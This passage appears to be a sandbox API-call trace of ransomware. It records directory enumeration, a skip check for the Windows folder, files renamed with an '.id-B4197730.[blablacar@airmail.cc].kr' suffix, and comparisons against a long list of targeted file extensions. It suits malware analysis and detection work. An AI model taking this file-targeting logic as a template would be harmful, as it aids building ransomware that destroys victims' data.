cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.002] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c6d3fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c6d3fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.002] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.003] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.003] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0175.003] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.003] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44208e0 [0175.135] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.135] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc686f4ee, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc686f4ee, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc686f4ee, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.136] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68bb8df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68bb8df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68bb8df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.136] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c9377f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c9377f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c9377f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.136] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c9377f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c9377f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c9377f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.136] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0175.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.137] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0175.137] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.137] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420da0 [0175.139] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.139] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6aab642, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.139] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.139] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e5d407, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e5d407, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7e835c1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.139] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e5d407, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e5d407, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7e835c1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.139] FindClose (in: hFindFile=0x4420da0 | out: hFindFile=0x4420da0) returned 1 [0175.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.140] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0175.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26 [0175.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1055") returned 1 [0175.140] lstrlenW (lpString="1055") returned 4 [0175.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1055") returned 1 [0175.140] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26 [0175.140] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44208e0 [0175.142] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.142] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6ad18c6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc737c83d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.142] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0175.142] lstrlenW (lpString=".1cd") returned 4 [0175.142] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0175.142] lstrlenW (lpString=".3ds") returned 4 [0175.142] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0175.142] lstrlenW (lpString=".3fr") returned 4 [0175.142] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0175.142] lstrlenW (lpString=".3g2") returned 4 [0175.143] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".3gp") returned 4 [0175.143] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".7z") returned 3 [0175.143] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0175.143] lstrlenW (lpString=".accda") returned 6 [0175.143] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".accdb") returned 6 [0175.143] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".accdc") returned 6 [0175.143] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".accde") returned 6 [0175.143] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".accdt") returned 6 [0175.143] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".accdw") returned 6 [0175.143] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0175.143] lstrlenW (lpString=".adb") returned 4 [0175.143] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".adp") returned 4 [0175.143] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai") returned 3 [0175.143] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0175.143] lstrlenW (lpString=".ai3") returned 4 [0175.143] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai4") returned 4 [0175.143] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai5") returned 4 [0175.143] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai6") returned 4 [0175.143] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai7") returned 4 [0175.143] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0175.143] lstrlenW (lpString=".ai8") returned 4 [0175.143] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".anim") returned 5 [0175.144] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0175.144] lstrlenW (lpString=".arw") returned 4 [0175.144] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".as") returned 3 [0175.144] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0175.144] lstrlenW (lpString=".asa") returned 4 [0175.144] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".asc") returned 4 [0175.144] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".ascx") returned 5 [0175.144] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0175.144] lstrlenW (lpString=".asm") returned 4 [0175.144] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".asmx") returned 5 [0175.144] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0175.144] lstrlenW (lpString=".asp") returned 4 [0175.144] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".aspx") returned 5 [0175.144] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0175.144] lstrlenW (lpString=".asr") returned 4 [0175.144] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".asx") returned 4 [0175.144] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".avi") returned 4 [0175.144] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".avs") returned 4 [0175.144] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".backup") returned 7 [0175.144] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0175.144] lstrlenW (lpString=".bak") returned 4 [0175.144] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0175.144] lstrlenW (lpString=".bay") returned 4 [0175.144] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".bd") returned 3 [0175.145] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0175.145] lstrlenW (lpString=".bin") returned 4 [0175.145] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".bmp") returned 4 [0175.145] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".bz2") returned 4 [0175.145] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".c") returned 2 [0175.145] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0175.145] lstrlenW (lpString=".cdr") returned 4 [0175.145] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".cer") returned 4 [0175.145] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".cf") returned 3 [0175.145] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0175.145] lstrlenW (lpString=".cfc") returned 4 [0175.145] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".cfm") returned 4 [0175.145] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".cfml") returned 5 [0175.145] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0175.145] lstrlenW (lpString=".cfu") returned 4 [0175.145] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".chm") returned 4 [0175.145] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".cin") returned 4 [0175.145] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".class") returned 6 [0175.145] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0175.145] lstrlenW (lpString=".clx") returned 4 [0175.145] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0175.145] lstrlenW (lpString=".config") returned 7 [0175.145] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0175.145] lstrlenW (lpString=".cpp") returned 4 [0175.146] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".cr2") returned 4 [0175.146] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".crt") returned 4 [0175.146] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".crw") returned 4 [0175.146] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".cs") returned 3 [0175.146] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0175.146] lstrlenW (lpString=".css") returned 4 [0175.146] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".csv") returned 4 [0175.146] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".cub") returned 4 [0175.146] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dae") returned 4 [0175.146] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dat") returned 4 [0175.146] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".db") returned 3 [0175.146] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0175.146] lstrlenW (lpString=".dbf") returned 4 [0175.146] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dbx") returned 4 [0175.146] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dc3") returned 4 [0175.146] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dcm") returned 4 [0175.146] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dcr") returned 4 [0175.146] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".der") returned 4 [0175.146] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0175.146] lstrlenW (lpString=".dib") returned 4 [0175.147] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dic") returned 4 [0175.147] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dif") returned 4 [0175.147] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".divx") returned 5 [0175.147] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".djvu") returned 5 [0175.147] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".dng") returned 4 [0175.147] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".doc") returned 4 [0175.147] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".docm") returned 5 [0175.147] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".docx") returned 5 [0175.147] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".dot") returned 4 [0175.147] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dotm") returned 5 [0175.147] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".dotx") returned 5 [0175.147] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0175.147] lstrlenW (lpString=".dpx") returned 4 [0175.147] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dqy") returned 4 [0175.147] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dsn") returned 4 [0175.147] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dt") returned 3 [0175.147] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0175.147] lstrlenW (lpString=".dtd") returned 4 [0175.147] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0175.147] lstrlenW (lpString=".dwg") returned 4 [0175.147] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".dwt") returned 4 [0175.148] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".dx") returned 3 [0175.148] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0175.148] lstrlenW (lpString=".dxf") returned 4 [0175.148] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".edml") returned 5 [0175.148] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0175.148] lstrlenW (lpString=".efd") returned 4 [0175.148] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".elf") returned 4 [0175.148] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".emf") returned 4 [0175.148] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".emz") returned 4 [0175.148] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".epf") returned 4 [0175.148] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".eps") returned 4 [0175.148] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".epsf") returned 5 [0175.148] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0175.148] lstrlenW (lpString=".epsp") returned 5 [0175.148] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0175.148] lstrlenW (lpString=".erf") returned 4 [0175.148] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".exr") returned 4 [0175.148] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".f4v") returned 4 [0175.148] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".fido") returned 5 [0175.148] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0175.148] lstrlenW (lpString=".flm") returned 4 [0175.148] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0175.148] lstrlenW (lpString=".flv") returned 4 [0175.149] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".frm") returned 4 [0175.149] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".fxg") returned 4 [0175.149] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".geo") returned 4 [0175.149] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".gif") returned 4 [0175.149] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".grs") returned 4 [0175.149] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".gz") returned 3 [0175.149] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0175.149] lstrlenW (lpString=".h") returned 2 [0175.149] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0175.149] lstrlenW (lpString=".hdr") returned 4 [0175.149] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".hpp") returned 4 [0175.149] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".hta") returned 4 [0175.149] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".htc") returned 4 [0175.149] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".htm") returned 4 [0175.149] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0175.149] lstrlenW 